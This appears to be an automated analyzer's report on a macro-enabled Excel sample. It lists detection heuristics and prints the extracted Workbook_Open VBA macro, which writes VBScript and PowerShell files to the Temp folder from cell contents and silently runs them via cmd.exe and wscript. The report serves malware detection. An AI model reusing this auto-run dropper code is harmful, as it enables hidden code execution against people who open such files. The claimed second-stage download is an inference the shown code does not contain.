Malware Insights
The sample is an Excel document containing a Workbook_Open VBA macro. This macro writes two scripts to disk: a VBScript and a PowerShell script. It then executes the VBScript using wscript.exe, which in turn executes the PowerShell script. The PowerShell script is designed to download and execute a second-stage payload, indicated by the use of WScript.Shell and cmd.exe to run PowerShell with execution policy bypass. The presence of a Workbook_Open macro and the execution of external scripts strongly suggest a malicious intent to download and run further malware.
Heuristics 7
-
VBA project inside OOXML medium 6 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Dim wsh As Object Set wsh = VBA.CreateObject("WScript.Shell") wsh.Run "cmd.exe /S /C wscript.exe C:\Windows\Temp\vbavbstest.vbs", 0, True -
LOLBin reference in VBA critical OLE_VBA_LOLBINLOLBin reference in VBAMatched line in script
Set wsh = VBA.CreateObject("WScript.Shell") wsh.Run "cmd.exe /S /C wscript.exe C:\Windows\Temp\vbavbstest.vbs", 0, True End Sub -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Dim wsh As Object Set wsh = VBA.CreateObject("WScript.Shell") wsh.Run "cmd.exe /S /C wscript.exe C:\Windows\Temp\vbavbstest.vbs", 0, True -
cmd.exe reference in VBA high OLE_VBA_CMDcmd.exe reference in VBAMatched line in script
Set wsh = VBA.CreateObject("WScript.Shell") wsh.Run "cmd.exe /S /C wscript.exe C:\Windows\Temp\vbavbstest.vbs", 0, True End Sub -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Attribute VB_Customizable = True Private Sub Workbook_Open() Dim fso As FileSystemObject
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1237 bytes |
SHA-256: b5137eca195c887c77ff14e6f159a7179c8a23f8bc0b35f571cf01296424f00f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Dim fso As FileSystemObject
Set fso = New FileSystemObject
Dim stream As TextStream
Set stream = fso.OpenTextFile("C:\Windows\Temp\vbavbstest.vbs", ForWriting, True)
stream.WriteLine ActiveSheet.Cells(8, 8).Value
Set stream = fso.OpenTextFile("C:\Windows\Temp\vbaps1test.ps1", ForWriting, True)
stream.WriteLine ActiveSheet.Cells(9, 9).Value
stream.Close
'MsgBox (ThisWorkbook.Path)
Dim wsh As Object
Set wsh = VBA.CreateObject("WScript.Shell")
wsh.Run "cmd.exe /S /C wscript.exe C:\Windows\Temp\vbavbstest.vbs", 0, True
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 22528 bytes |
SHA-256: bb2ae856169ab5ea21fa257fb9e2efefe93ca06755319ae275e1b2d9ebe8f180 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.